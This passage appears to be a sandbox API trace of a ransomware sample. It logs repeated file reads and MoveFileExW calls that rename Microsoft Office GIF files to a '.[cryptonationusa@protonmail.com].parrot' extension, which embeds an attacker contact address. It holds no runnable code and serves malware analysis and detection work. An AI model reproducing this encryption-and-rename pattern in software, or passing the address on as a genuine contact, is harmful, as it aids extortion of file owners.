lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.922] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.922] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1cf, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1cf, lpOverlapped=0x0) returned 1 [0164.922] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.922] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14980_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14980_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.924] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.924] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.924] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0164.926] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.926] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.927] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.927] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x164, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x164, lpOverlapped=0x0) returned 1 [0164.927] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.928] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14981_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14981_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.931] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.931] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.931] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647228 | out: hHeap=0x5b0000) returned 1 [0164.933] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.933] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.933] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.934] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc6, lpOverlapped=0x0) returned 1 [0164.934] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.934] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14982_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14982_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9268 | out: hHeap=0x5b0000) returned 1 [0164.938] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.938] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.939] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.939] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7c, lpOverlapped=0x0) returned 1 [0164.940] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.940] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14983_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14983_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.943] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.943] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.943] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225f1d0 | out: hHeap=0x5b0000) returned 1 [0164.945] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.945] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.946] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.946] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb6, lpOverlapped=0x0) returned 1 [0164.947] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.947] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14984_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14984_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.949] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.949] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.949] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.951] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.951] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.952] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.952] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x40, lpOverlapped=0x0) returned 1 [0164.952] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.953] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14985_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14985_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.955] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.955] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.955] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0164.957] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.957] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.959] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.959] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x40f6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x40f6, lpOverlapped=0x0) returned 1 [0164.960] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.960] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15018_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15018_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa0d8 | out: hHeap=0x5b0000) returned 1 [0164.964] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.964] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.965] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.965] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfe, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xfe, lpOverlapped=0x0) returned 1 [0164.965] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.965] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15019_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15019_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.968] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.968] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.968] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0164.969] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.970] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.970] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.970] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x63, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x63, lpOverlapped=0x0) returned 1 [0164.971] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.971] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15020_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15020_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.973] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.973] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.973] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257ab8 | out: hHeap=0x5b0000) returned 1 [0164.974] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.975] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.975] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.976] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4a, lpOverlapped=0x0) returned 1 [0164.976] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.976] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15021_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15021_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0164.980] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.980] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.981] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.981] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x61, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x61, lpOverlapped=0x0) returned 1 [0164.982] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.982] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15022_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15022_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.983] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.983] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.983] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257ab8 | out: hHeap=0x5b0000) returned 1 [0164.985] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.985] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.986] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.986] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7a, lpOverlapped=0x0) returned 1 [0164.987] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.987] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15023_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15023_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225f1d0 | out: hHeap=0x5b0000) returned 1 [0164.991] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.991] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.992] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.992] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xda, lpOverlapped=0x0) returned 1 [0164.992] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.992] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15056_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15056_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.994] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2268068 | out: hHeap=0x5b0000) returned 1 [0164.996] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.996] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.997] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.997] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xda, lpOverlapped=0x0) returned 1 [0164.997] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.997] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15057_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15057_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2268068 | out: hHeap=0x5b0000) returned 1 [0165.001] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.001] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0165.002] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.002] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc7, 